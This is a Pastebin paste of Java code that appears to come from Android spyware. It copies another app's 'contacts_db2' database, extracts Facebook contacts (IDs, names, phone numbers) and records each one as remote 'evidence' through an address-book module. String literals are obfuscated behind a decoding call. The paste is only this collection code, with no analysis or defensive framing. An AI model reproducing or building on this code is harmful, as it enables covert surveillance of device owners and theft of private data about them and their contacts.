Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- private void readAddressContacts(String dbDir) {
- if (Cfg.DEBUG) {
- Check.log(TAG + " (readAddressContacts) ");
- }
- String dbFile = M.e("contacts_db2");
- GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
- // SQLiteDatabase db = helper.getReadableDatabase();
- RecordListVisitor visitor = new RecordListVisitor("data");
- helper.traverseRecords(M.e("contacts"), visitor);
- boolean serializeContacts = false;
- for (String value : visitor.getList()) {
- try {
- Contact contact = json2Contact(value);
- serializeContacts |= ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.FACEBOOK, contact);
- contacts.put(contact.id, contact);
- } catch (JSONException e) {
- if (Cfg.DEBUG) {
- Check.log(TAG + " (readAddressContacts) Error: " + e);
- }
- }
- }
- if (serializeContacts) {
- ModuleAddressBook.getInstance().serializeContacts();
- }
- }
- private Contact json2Contact(String value) throws JSONException {
- JSONObject root = (JSONObject) new JSONTokener(value).nextValue();
- String fbId = root.getString(M.e("profileFbid"));
- JSONObject name = root.getJSONObject(M.e("name"));
- String fullName = name.getString(M.e("displayName"));
- JSONArray phones = root.getJSONArray(M.e("phones"));
- String numbers = "";
- for (int i = 0; i < phones.length(); i++) {
- numbers += phones.getJSONObject(i).get(M.e("universalNumber")) + " ";
- }
- // String picture = root.getString("bigPictureUrl");
- Contact contact = new Contact(fbId, numbers, fullName, "Id: " + fbId);
- return contact;
- }
- private Contact[] json2Contacts(String value) throws JSONException {
- JSONArray jcontacts = (JSONArray) new JSONTokener(value).nextValue();
- Contact[] contacts = new Contact[jcontacts.length()];
- for (int i = 0; i < jcontacts.length(); i++) {
- JSONObject root = (JSONObject) jcontacts.get(i);
- if (Cfg.DEBUG) {
- Check.log(TAG + " (json2Contacts) root: " + root);
- }
- String email = root.getString(M.e("email"));
- String fbId = email.split("@")[0];
- String fullName = root.getString(M.e("name"));
- Contact contact = new Contact(fbId, "", fullName, M.e("Id: ") + fbId);
- if (Cfg.DEBUG) {
- Check.log(TAG + " (json2Contacts) " + contact);
- }
- contacts[i] = contact;
- }
- return contacts;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement